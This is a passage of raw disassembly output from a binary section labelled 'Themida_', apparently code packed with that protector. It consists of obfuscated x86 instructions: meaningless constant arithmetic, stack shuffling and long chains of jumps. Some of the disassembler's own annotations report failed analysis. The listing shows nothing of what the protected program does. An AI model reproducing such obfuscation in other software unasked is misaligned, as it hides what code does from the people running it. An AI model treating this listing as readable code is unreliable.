0D110E8Eh neg esi jbe loc_58D5B5 push 626Ah mov [esp+0Ch+var_C], eax push edi jmp loc_5932AC sub_58ED05 endp ; --------------------------------------------------------------------------- pop ebx ; START OF FUNCTION CHUNK FOR sub_59196D loc_58ED2B: ; CODE XREF: sub_59196D+5ECj not [esp+1Ch+var_1E+2] pop ebx neg ebx shl ebx, 1 and ebx, 1AFC641Bh xor ebx, 10B8441Ch jmp loc_59076C ; --------------------------------------------------------------------------- loc_58ED44: ; CODE XREF: sub_59196D+20A0j pop edi add eax, 289C1041h add eax, edx push edi jmp loc_58E161 ; --------------------------------------------------------------------------- loc_58ED52: ; CODE XREF: sub_59196D+4C41j pop ebx jmp loc_590362 ; --------------------------------------------------------------------------- loc_58ED58: ; CODE XREF: sub_59196D+61F5j xor ah, 51h jmp loc_593BBF ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58ED60 proc near ; CODE XREF: sub_59196D-23E2j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058F4AF SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], esi sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop esi add esi, 4 push ecx mov ecx, 4 jmp loc_58F4AF sub_58ED60 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58ED82: ; CODE XREF: sub_59196D+6C0Dj push 7D74h mov [esp+18h+var_1A+2], ebp xchg eax, [esp+18h+var_1A+2] jmp loc_58D34C ; --------------------------------------------------------------------------- loc_58ED92: ; CODE XREF: sub_59196D+686j pop esp and ecx, eax mov eax, [esp+14h+var_16+2] push edi mov edi, esp jmp sub_5918E7 ; --------------------------------------------------------------------------- loc_58EDA0: ; CODE XREF: sub_59196D+42A1j pop ebx jmp loc_595909 ; --------------------------------------------------------------------------- loc_58EDA6: ; CODE XREF: sub_59196D:loc_58CB99j ; sub_59196D-4B30j shr ecx, 3 sub ecx, 889AE715h xor ebp, ecx pop ecx add edx, ebp mov ebp, [esp+28h+var_2A+2] add esp, 4 jmp loc_5908E4 ; --------------------------------------------------------------------------- loc_58EDC2: ; CODE XREF: sub_59196D-4F84j add ecx, 24191EFEh jmp loc_597170 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsb sub al, 0EDh jmp loc_596848 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EDD5: ; CODE XREF: sub_59196D-37AAj xor eax, ecx pop ecx mov edx, [esp+30h+var_32+2] sub esp, 4 jmp loc_591638 ; --------------------------------------------------------------------------- loc_58EDE3: ; CODE XREF: sub_59196D-652Ej mov eax, 27845D00h jmp loc_595415 ; --------------------------------------------------------------------------- loc_58EDED: ; CODE XREF: sub_59196D-5FCFj ; sub_59196D+591j mov esp, [esp+20h+var_22+2] jmp loc_58E297 ; --------------------------------------------------------------------------- loc_58EDF5: ; CODE XREF: sub_59196D+3B51j push eax jmp loc_593489 ; --------------------------------------------------------------------------- loc_58EDFB: ; CODE XREF: sub_59196D-3F6Fj mov [esp+0Ch+var_C], esi push [esp+0Ch+var_8] pop esi pop [esp+0Ch+var_C] pop esp mov [esp+4+var_4], eax mov eax, 1363750Ch jmp loc_595D96 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58EE14 proc near ; DATA XREF: Themida_:0058B194o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ecx push 0FFFFFBFFh mov ecx, [esp+8+var_8] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp and [edi+1Ch], ecx mov ecx, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], eax push 47B1h mov [esp+10h+var_10], esp jmp loc_5919C0 sub_58EE14 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EE4B: ; CODE XREF: sub_59196D+63E0j add esi, 3BDA6D11h shl esi, 3 add esi, 13B13863h xor esi, 0F2A52167h jmp loc_5946AF ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58EE65: ; CODE XREF: Themida_:0058E722j push eax mov al, 67h jmp loc_58FE1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EE6D: ; CODE XREF: sub_59196D+BD5j mov [esp+4+var_4], edx mov edx, esp jmp loc_58B682 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_590AA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EE7E: ; CODE XREF: sub_59196D+5E05j neg esi jo loc_5902A6 jmp loc_58BB97 ; --------------------------------------------------------------------------- loc_58EE8B: ; CODE XREF: sub_59196D+8B2j pop esp jmp loc_592B5C ; --------------------------------------------------------------------------- loc_58EE91: ; CODE XREF: sub_59196D+38AEj sub esp, 4 mov [esp+4+var_4], edx jmp loc_58E8AF ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58EE9C: ; DATA XREF: Themida_:0058B0ECo mov cx, [esp] jmp loc_5965ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EEA5: ; CODE XREF: sub_59196D-41FAj add ebx, 4 push esi mov esi, 5F9925A5h shr esi, 8 and esi, 291330F2h jmp loc_58F9D4 ; --------------------------------------------------------------------------- loc_58EEBF: ; CODE XREF: sub_59196D+6B6Dj add eax, edi pop edi jmp loc_58D26E ; --------------------------------------------------------------------------- loc_58EEC7: ; CODE XREF: sub_59196D-1BBCj mov edi, esp jmp loc_58C902 ; --------------------------------------------------------------------------- loc_58EECE: ; CODE XREF: sub_59196D+64D6j xchg esi, [esp+3Eh+var_40+2] pop esp mov [esp+3Ah+var_3C+2], ecx jmp loc_58E1EA ; --------------------------------------------------------------------------- loc_58EEDA: ; CODE XREF: sub_59196D-1040j sub edx, 0A842F74h jmp loc_5938FF ; --------------------------------------------------------------------------- loc_58EEE5: ; CODE XREF: sub_59196D+5603j ; sub_59196D+5FB4j pop eax jmp loc_598041 ; --------------------------------------------------------------------------- loc_58EEEB: ; CODE XREF: sub_59196D-4FC6j sub edi, ebx jmp loc_5966A3 ; --------------------------------------------------------------------------- loc_58EEF2: ; CODE XREF: sub_59196D+4710j or edx, edi jmp loc_593202 ; --------------------------------------------------------------------------- loc_58EEF9: ; CODE XREF: sub_59196D-46F0j mov ecx, [esp+3Ah+var_3C+2] add esp, 4 xchg eax, [esp+36h+var_36] jmp loc_58B5C0 ; --------------------------------------------------------------------------- loc_58EF07: ; CODE XREF: sub_59196D+2ADj and ebx, ecx pop ecx sub ebx, 406291Ch add ebp, ebx jmp loc_58BEB1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- jmp loc_592701 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EF1C: ; CODE XREF: sub_59196D-5977j or ecx, 48132CAAh xor ecx, 0CCD4CAC0h sub edx, ecx jmp loc_59564C ; --------------------------------------------------------------------------- loc_58EF2F: ; CODE XREF: sub_59196D-22EEj add eax, 7A44530Fh sub edi, eax pop eax pop eax xor edi, [esp-8+arg_4] xor [esp-8+arg_4], edi xor edi, [esp-8+arg_4] pop esp mov fs:[edx], al jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58EF4A: ; CODE XREF: sub_59196D+932j add esi, 7A607138h add esi, ebx sub esi, 7A607138h jmp loc_58D847 ; --------------------------------------------------------------------------- loc_58EF5D: ; CODE XREF: sub_59196D+2A61j pop edi xor edi, 17F27C7Bh jge loc_5940F0 jmp loc_58F160 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- jmp loc_58F239 ; --------------------------------------------------------------------------- pop eax ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EF75: ; CODE XREF: sub_59196D+2076j test cx, ax pushf jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58EF7E proc near ; CODE XREF: sub_59196D-407Fj ; FUNCTION CHUNK AT 005917B4 SIZE 0000000B BYTES push ebp mov ebp, 1DD20E24h mov ebx, 25CE2FF2h xor ebx, ebp pop ebp mov edx, 381C21D2h xor edx, ebx jmp loc_5917B4 sub_58EF7E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EF98: ; CODE XREF: sub_59196D+2375j ; sub_59196D+5965j add esp, 4 push 6305h mov [esp-0Ch+arg_8], ecx push edi mov edi, 42816379h shl edi, 3 add edi, 0EBF4E638h mov ecx, edi pop edi jmp loc_595B6D ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_595099 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EFC9: ; CODE XREF: sub_59196D-113j xchg edi, [esp-0Ch+arg_8] jmp loc_58C429 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FC53 loc_58EFD1: ; CODE XREF: sub_58FC53+3j shl bl, 7 push ecx mov ch, 0C0h sub bl, ch pop ecx xor bl, 57h mov cl, bl pop ebx push ebx mov bl, 47h jmp loc_58CE11 ; END OF FUNCTION CHUNK FOR sub_58FC53 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_5912E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58EFF0: ; CODE XREF: sub_59196D+517Bj pop ecx add esp, 4 jmp loc_597908 ; --------------------------------------------------------------------------- loc_58EFF9: ; CODE XREF: sub_59196D+3A41j sub eax, ebx jmp loc_59328F ; --------------------------------------------------------------------------- loc_58F000: ; CODE XREF: sub_59196D+4D27j mov ecx, 4 add eax, 61E0E03h sub eax, ecx jmp loc_5935D6 ; --------------------------------------------------------------------------- loc_58F011: ; CODE XREF: sub_59196D-1417j push 6B5Ah jmp loc_59771D ; --------------------------------------------------------------------------- loc_58F01B: ; CODE XREF: sub_59196D-EB5j xor ebp, eax xor eax, ebp xor ebp, eax not eax xchg eax, ebp xchg ebp, edx sub esp, 4 mov [esp-0Ch+arg_8], edx push [esp-0Ch+arg_C] pop edx pop [esp-0Ch+arg_8] mov eax, [esp-10h+arg_C] jmp loc_58F82B ; --------------------------------------------------------------------------- loc_58F03C: ; CODE XREF: sub_59196D-5E63j jmp loc_58DDD2 ; --------------------------------------------------------------------------- loc_58F041: ; CODE XREF: sub_59196D+5D4Bj push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax pop eax jmp loc_5911E0 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58F058: ; CODE XREF: Themida_:0058FBC2j push ebp mov ebp, 3A200A04h add ebp, 6124FD3h neg ebp shr ebp, 3 sub ebp, 0CABD5598h jmp loc_596D20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F074: ; CODE XREF: sub_59196D+20E0j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F079: ; CODE XREF: sub_59196D-4CCAj sub [esp+40h+var_40], 50365834h pop dword ptr [edi+20h] jmp loc_594FD2 ; --------------------------------------------------------------------------- loc_58F088: ; CODE XREF: sub_59196D-4925j sub ebx, 6CED02F9h jmp loc_595C13 ; --------------------------------------------------------------------------- loc_58F093: ; CODE XREF: sub_59196D+27E1j add ecx, 727F203Ah add ecx, edi sub ecx, 727F203Ah mov eax, [ecx] mov ecx, [esp+14h+var_16+2] jmp loc_58DD16 ; --------------------------------------------------------------------------- loc_58F0AB: ; CODE XREF: sub_59196D+3E65j pop ecx jmp loc_59556B ; --------------------------------------------------------------------------- loc_58F0B1: ; CODE XREF: sub_59196D+36F7j ; sub_59196D+6983j push edi push edx mov edx, 38867095h mov edi, edx pop edx jmp loc_59218B ; --------------------------------------------------------------------------- loc_58F0C0: ; CODE XREF: sub_59196D-4C5Ej jmp loc_5920B2 ; --------------------------------------------------------------------------- loc_58F0C5: ; CODE XREF: sub_59196D+49F4j pop eax add eax, 4 jmp loc_595E47 ; --------------------------------------------------------------------------- loc_58F0D0: ; CODE XREF: sub_59196D-972j xchg esi, ecx neg ecx neg ecx sub ecx, 0D7B1C637h mov ebx, ecx pop ecx mov ecx, 1A3F2FC3h xor ecx, ebx pop ebx sub ecx, 1903176Fh add ecx, edi add ecx, 1903176Fh jmp sub_590677 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58F0FA proc near ; CODE XREF: sub_59196D-11Bj arg_0 = dword ptr 4 push ebx mov ebx, 70B01BBEh mov esi, 0CC562934h add esi, ebx pop ebx add [esp+arg_0], esi mov esi, [esp+0] push esi mov esi, esp add esi, 4 jmp loc_594D23 sub_58F0FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F11D: ; CODE XREF: sub_59196D-45FFj pop dword ptr [esp+0] pop esp push edx mov edx, esp jmp sub_58E727 ; --------------------------------------------------------------------------- loc_58F129: ; CODE XREF: sub_59196D-30D6j mov edx, [esp+14h+var_16+2] add esp, 4 add al, 7Fh add al, cl push edx jmp loc_594DB3 ; --------------------------------------------------------------------------- loc_58F13C: ; CODE XREF: sub_59196D-62DDj add esp, 4 shr edi, 4 add edi, 33000E53h push eax mov eax, 3A5D62B6h sub edi, eax pop eax add ebx, edi pop edi jmp loc_594C3A ; --------------------------------------------------------------------------- loc_58F159: ; CODE XREF: sub_59196D-1B93j add eax, esi jmp loc_590395 ; --------------------------------------------------------------------------- loc_58F160: ; CODE XREF: sub_59196D-2A03j ; sub_59196D+5D62j and ebx, 23D25EE9h xor ebx, 7B711058h sub edi, ebx pop ebx add edi, 0EFD38459h jmp loc_5926F1 ; --------------------------------------------------------------------------- loc_58F17A: ; CODE XREF: sub_59196D-5957j mov [esp+18h+var_1A+2], eax push ebp pop eax jmp loc_58CBFF ; --------------------------------------------------------------------------- loc_58F184: ; CODE XREF: sub_59196D-6014j pop eax pop ecx jmp loc_58C229 ; --------------------------------------------------------------------------- loc_58F18B: ; CODE XREF: sub_59196D+323Cj xor bh, byte ptr [esp+18h+var_1A+3] xor byte ptr [esp+18h+var_1A+3], bh not bh xor byte ptr [esp+18h+var_1A+3], bh xor bh, byte ptr [esp+18h+var_1A+3] jmp loc_5926E8 ; --------------------------------------------------------------------------- loc_58F1A2: ; CODE XREF: sub_59196D-1BA9j mov esi, 74999BC4h sub edx, esi pop esi sub edi, edx push [esp+14h+var_16+2] jmp loc_5958C5 ; --------------------------------------------------------------------------- loc_58F1B4: ; CODE XREF: sub_59196D+3EAEj and ebx, edi mov edi, [esp+18h+var_1A+2] push edi mov edi, esp jmp loc_58CBB3 ; --------------------------------------------------------------------------- loc_58F1C1: ; CODE XREF: sub_59196D+2588j push [esp+1Ch+var_1E+2] jmp loc_59405B ; --------------------------------------------------------------------------- loc_58F1C9: ; CODE XREF: sub_59196D+69B0j shr dl, 6 jmp loc_591362 ; --------------------------------------------------------------------------- loc_58F1D1: ; CODE XREF: sub_59196D+568j mov [esp+20h+var_22+2], ebx mov bl, 0D1h mov cl, bl jmp loc_590BDA ; --------------------------------------------------------------------------- loc_58F1DD: ; CODE XREF: sub_59196D+39A4j sub eax, 226E0CECh sub eax, 2FC5671h add eax, ecx add eax, 2FC5671h jmp loc_58DDE5 ; --------------------------------------------------------------------------- loc_58F1F3: ; CODE XREF: sub_59196D-1CF9j xor [esp+20h+var_22+2], edi xor edi, [esp+20h+var_22+2] xor [esp+20h+var_22+2], edi pop ebp xor ebp, 0BBED95E6h jmp loc_5916AC ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F217: ; CODE XREF: sub_59196D-5A6Fj pop edx xchg ebx, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] jmp loc_59244C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58F223: ; DATA XREF: Themida_:0058B10Co push dword ptr [esp] pop eax jmp loc_591E02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F22C: ; CODE XREF: sub_59196D-424j add al, bl pop ebx sub bl, al push [esp+0Ch+var_C] jmp loc_596193 ; --------------------------------------------------------------------------- loc_58F239: ; CODE XREF: Themida_:0058EF6Fj ; sub_59196D+2C2Bj push 58793945h pop ecx jmp loc_596615 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F42B loc_58F244: ; CODE XREF: sub_58F42B+6j mov edi, 382E7B0Eh add edi, 705A0CCCh jmp loc_58E503 ; END OF FUNCTION CHUNK FOR sub_58F42B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F254: ; CODE XREF: sub_59196D+60A5j neg esi xchg esi, ebx push ebp mov ebp, 78A21056h not ebp and ebp, 3F340A6Ch push 0 sub [esp+18h+var_1A+2], ebp pop ebp xchg edx, ebp dec edx xchg edx, ebp push eax mov eax, 0F746A9EBh sub ebp, eax push [esp+18h+var_1A+2] jmp loc_592AEB ; --------------------------------------------------------------------------- loc_58F284: ; CODE XREF: sub_59196D+54EDj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F289: ; CODE XREF: sub_59196D-4D0Fj mov [esp+40h+var_40], eax push esp mov eax, [esp+44h+var_44] add esp, 4 add eax, 4 push 6F37h mov [esp+44h+var_44], edx push ebx mov ebx, 48916A99h jmp loc_58DAE3 ; --------------------------------------------------------------------------- loc_58F2AB: ; CODE XREF: sub_59196D+649Aj push [esp+48h+var_44] jmp loc_58FA85 ; --------------------------------------------------------------------------- loc_58F2B4: ; CODE XREF: sub_59196D-1CE0j sub edi, 5A4025A4h mov esi, [esp+4Ch+var_4E+2] jmp loc_596737 ; --------------------------------------------------------------------------- loc_58F2C2: ; CODE XREF: sub_59196D-2D1Cj pop edx jmp loc_59354D ; --------------------------------------------------------------------------- loc_58F2C8: ; CODE XREF: sub_59196D+1CECj jb loc_5932F2 inc edx jl loc_58CE42 jge loc_58DAFA pop edx loc_58F2DC: ; CODE XREF: Themida_:0058DA9Aj push edx mov edx, 34941793h sub [esp+28h+var_22+2], edx pop edx push [esp+24h+var_26+2] pop ecx add esp, 4 push [esp+20h+var_22+2] pop edx push esi push 607Dh mov [esp+28h+var_2A+2], esp add [esp+28h+var_2A+2], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp+24h+var_26+2] jmp loc_5969E4 ; --------------------------------------------------------------------------- loc_58F317: ; CODE XREF: sub_59196D-245Bj push ecx mov ecx, 2E6478F9h add eax, ecx pop ecx mov ebx, [esp+24h+var_26+2] add esp, 4 jmp loc_591E2C ; --------------------------------------------------------------------------- loc_58F32B: ; CODE XREF: sub_59196D+2443j add esp, 4 jmp loc_5924D1 ; --------------------------------------------------------------------------- loc_58F336: ; CODE XREF: sub_59196D+135Dj push ecx mov ecx, 2 sub edi, ecx pop ecx xor edi, [esp+1Ch+var_1E+2] xor [esp+1Ch+var_1E+2], edi xor edi, [esp+1Ch+var_1E+2] jmp loc_58DA58 ; --------------------------------------------------------------------------- loc_58F34D: ; CODE XREF: sub_59196D-501Aj xor edx, 0A36590BEh jmp loc_5949AE ; --------------------------------------------------------------------------- loc_58F358: ; CODE XREF: sub_59196D-4369j mov ch, 0FCh push dx jmp loc_58CF1C ; --------------------------------------------------------------------------- loc_58F361: ; CODE XREF: sub_59196D-2174j dec ebp xchg ecx, ebp not ecx push ebp push ecx pop ebp pop ecx sub ebp, 2D6D3D7Eh add esi, ebp jmp loc_590493 ; --------------------------------------------------------------------------- loc_58F377: ; CODE XREF: sub_59196D-5841j xor esi, 247F3F4Fh xor esi, 36B72F7Bh add eax, esi pop esi xchg eax, [esp+0] pop esp add esp, 4 add esp, 4 jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58F395: ; CODE XREF: sub_59196D+35FCj pop cx add al, dl sub al, 96h add al, 4Ch push [esp-0Eh+arg_8+2] pop edx jmp loc_58F5DC ; --------------------------------------------------------------------------- loc_58F3A6: ; CODE XREF: sub_59196D+33A5j ; DATA XREF: Themida_:0058B0B0o mov ax, word ptr [esp-0Eh+arg_8+2] sub esp, 4 mov [esp-0Ah+arg_4+2], eax mov eax, esp push ebp jmp loc_594438 ; --------------------------------------------------------------------------- loc_58F3BB: ; CODE XREF: sub_59196D+A71j dec ebx jg loc_58C079 xor ebx, 4A5A888h mov ecx, ebx pop ebx push ebx loc_58F3CC: ; CODE XREF: Themida_:00590C39j push 4BABh mov [esp+0], edx jmp loc_5965A8 ; --------------------------------------------------------------------------- loc_58F3D9: ; CODE XREF: sub_59196D-23B1j pop eax shl ebp, 1 shr ebp, 2 add ebp, 7135454Ch jnb loc_58D516 xor ebp, 76C3E44h jmp loc_59397B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push ebx pop ebx ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F3F8: ; CODE XREF: sub_59196D+63C7j add ebp, 29A538DDh pop ecx jmp loc_593081 ; --------------------------------------------------------------------------- loc_58F404: ; CODE XREF: sub_59196D-125Bj sub edi, 532944BFh shr edi, 1 push ebx mov ebx, 740A7D51h and edi, ebx pop ebx xor edi, 4D30229Ah sub ebx, edi pop edi jmp loc_59183E ; --------------------------------------------------------------------------- loc_58F423: ; CODE XREF: sub_59196D+2032j mov [esp-0Eh+arg_8+2], edx jmp loc_5945D8 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58F42B proc near ; CODE XREF: sub_59196D+62C6j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058E503 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058F244 SIZE 00000010 BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_58F244 sub_58F42B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F436: ; CODE XREF: sub_59196D-153Aj push ecx neg [esp-0Ah+arg_4+2] pop ecx jmp loc_591FD1 ; --------------------------------------------------------------------------- loc_58F440: ; CODE XREF: sub_59196D-9CEj mov esp, [esp-0Eh+arg_8+2] mov ecx, [esp-0Eh+arg_8+2] push ebp mov ebp, esp push ecx mov ecx, 28956897h inc ecx sub ecx, 1 xor ecx, 28956893h add ebp, ecx pop ecx push edi push ecx push eax mov eax, 73EA6960h jmp loc_592F94 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58F469 proc near ; CODE XREF: sub_59196D+277Ej var_6 = word ptr -6 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058F8F6 SIZE 00000019 BYTES sub esp, 4 jmp loc_58F8F6 sub_58F469 endp ; --------------------------------------------------------------------------- push ebx push 7706h mov [esp], edx mov edx, 184D0185h jmp loc_59223C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F487: ; CODE XREF: sub_59196D+1474j sub eax, 0C986F64Fh add esi, eax pop eax push ebp sub esp, 4 mov [esp+6+var_8+2], edx mov edx, 23C1274h jmp loc_5969A3 ; --------------------------------------------------------------------------- loc_58F4A0: ; CODE XREF: sub_59196D+6C8Dj pop esp push ebp mov ebp, esp add ebp, 4 jmp loc_58F76C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58ED60 loc_58F4AF: ; CODE XREF: sub_58ED60+1Dj add esi, 3652012h add esi, ecx jmp loc_58E14D ; END OF FUNCTION CHUNK FOR sub_58ED60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F4BC: ; CODE XREF: sub_59196D+3E33j pop eax sub esp, 4 mov [esp+6+var_8+2], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx push [esp+0Ah+var_C+2] pop ebx push esi push esp pop esi add esi, 4 add esi, 4 push 78F8h mov [esp+12h+var_12], esi jmp loc_5906B1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov ax, [esp] push ebx mov ebx, esp jmp loc_593A8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F4F6: ; CODE XREF: sub_59196D-30C3j pop ecx shr ecx, 6 jnz loc_58FA6A xor ecx, 60D3B2F3h mov edi, ecx jmp loc_59097B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cl, ch ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F50F: ; CODE XREF: sub_58CD7E+8j ; sub_59196D-2F27j pop ebp add eax, ebx jmp loc_58F317 ; --------------------------------------------------------------------------- loc_58F517: ; CODE XREF: sub_59196D:loc_59185Fj xchg ebp, esi push ebp not [esp+14h+var_16+2] jmp loc_596B39 ; --------------------------------------------------------------------------- loc_58F522: ; CODE XREF: sub_59196D-1A5Ej mov ebx, [esp+14h+var_16+2] jmp loc_58BB85 ; --------------------------------------------------------------------------- loc_58F52A: ; CODE XREF: sub_59196D+1007j ; sub_59196D:loc_593A12j mov [esp+14h+var_16+2], esp push edi jmp loc_58DB94 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58F533 proc near ; CODE XREF: sub_59196D-3539j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0058C7E1 SIZE 00000016 BYTES push ebp mov ebp, 4 add [esp-4+arg_4], ebp jmp loc_58C7E1 sub_58F533 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F542: ; CODE XREF: sub_59196D-489Dj add esp, 4 add esp, 4 xor eax, esi xor esi, eax xor eax, esi push edi push ebp push edx mov edx, 1 jmp loc_58B402 ; --------------------------------------------------------------------------- loc_58F55B: ; CODE XREF: sub_59196D+556Bj movzx eax, al push dword ptr [edi+eax*4] push 74D1h jmp loc_58F590 ; --------------------------------------------------------------------------- loc_58F56B: ; CODE XREF: sub_59196D+735j neg edi jge sub_58C19E push ebx push edx mov edx, 80A29599h mov ebx, edx pop edx loc_58F57D: ; CODE XREF: sub_59196D+56CCj pop dword ptr [eax] xor dword ptr [eax], 3F381384h pop edi pop eax loc_58F587: ; CODE XREF: sub_59196D+4FA1j ; sub_59196D+56E1j push [esp+1Ch+var_1E+2] pop ebx jmp sub_58ED60 ; --------------------------------------------------------------------------- loc_58F590: ; CODE XREF: sub_59196D-2407j mov [esp+24h+var_26+2], esi push 7087h jmp loc_58C86F ; --------------------------------------------------------------------------- loc_58F59D: ; CODE XREF: sub_59196D+2849j add [esp+28h+var_2A+2], 4 mov edx, [esp+28h+var_2A+2] add esp, 4 add edx, 4 push ebp push eax mov eax, 5DCE156Ah mov ebp, eax jmp loc_58F3D9 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58F5C1 proc near ; CODE XREF: sub_59196D+10DAj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 push ebp push dword ptr [esp+4] mov ebp, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] pop esp or [esp-4+arg_0], eax pushf jmp loc_58B37B sub_58F5C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58F5DC: ; CODE XREF: sub_59196D-25CCj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-0Ah+arg_4+2] pop esp sub al, bl sub al, 6Ah push ebx mov bl, 0F8h push ecx push ax mov ah, 90h mov ch, ah mov ax, word ptr [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp+0] pop esp jmp loc_593AC5 ; --------------------------------------------------------------------------- loc_58F612: ; CODE XREF: sub_59196D+A65j add ecx, 4 jmp loc_58FD24 ; --------------------------------------------------------------------------- loc_58F61D: ; CODE XREF: sub_59196D+5C68j dec cl sub cl, 56h shr cl, 2 jmp loc_58D479 ; --------------------------------------------------------------------------- loc_58F62A: ; CODE XREF: sub_59196D+34D1j add esp, 4 add ecx, 4 sub ecx, 2 xchg ecx, [esp-8+arg_4] pop esp mov word ptr [esp-0Ch+arg_8], bx mov bh, 0BCh sub al, bh jmp loc_591226 ; --------------------------------------------------------------------------- loc_58F64A: ; CODE XREF: sub_59196D+2469j xor ebp, 17D9184Dh add ebp, 6E3E09BCh jmp loc_595432 ; --------------------------------------------------------------------------- loc_58F65B: ; CODE XREF: sub_59196D+1EEj shr edi, 4 shr edi, 7 jmp loc_58EA4B ; --------------------------------------------------------------------------- loc_58F666: ; CODE XREF: sub_59196D+50F3j xor ebx, 1B401E2Eh mov eax, ebx pop ebx add edi, 3FB80498h add edi, eax push eax mov eax, 3A8C4E76h not eax jmp loc_58EF2F ; --------------------------------------------------------------------------- loc_58F684: ; CODE XREF: sub_59196D-1A9Aj inc ebx jp loc_595DC9 or ebx, 63230EA2h jle loc_593D79 pop ebx loc_58F698: ; CODE XREF: sub_59196D-1F96j shl esi, 8 jmp loc_58CC12 ; --------------------------------------------------------------------------- loc_58F6A0: ; CODE XREF: sub_59196D+3E6Bj mov ecx, 183925EEh sub edi, ecx pop ecx jmp loc_593CEE ; 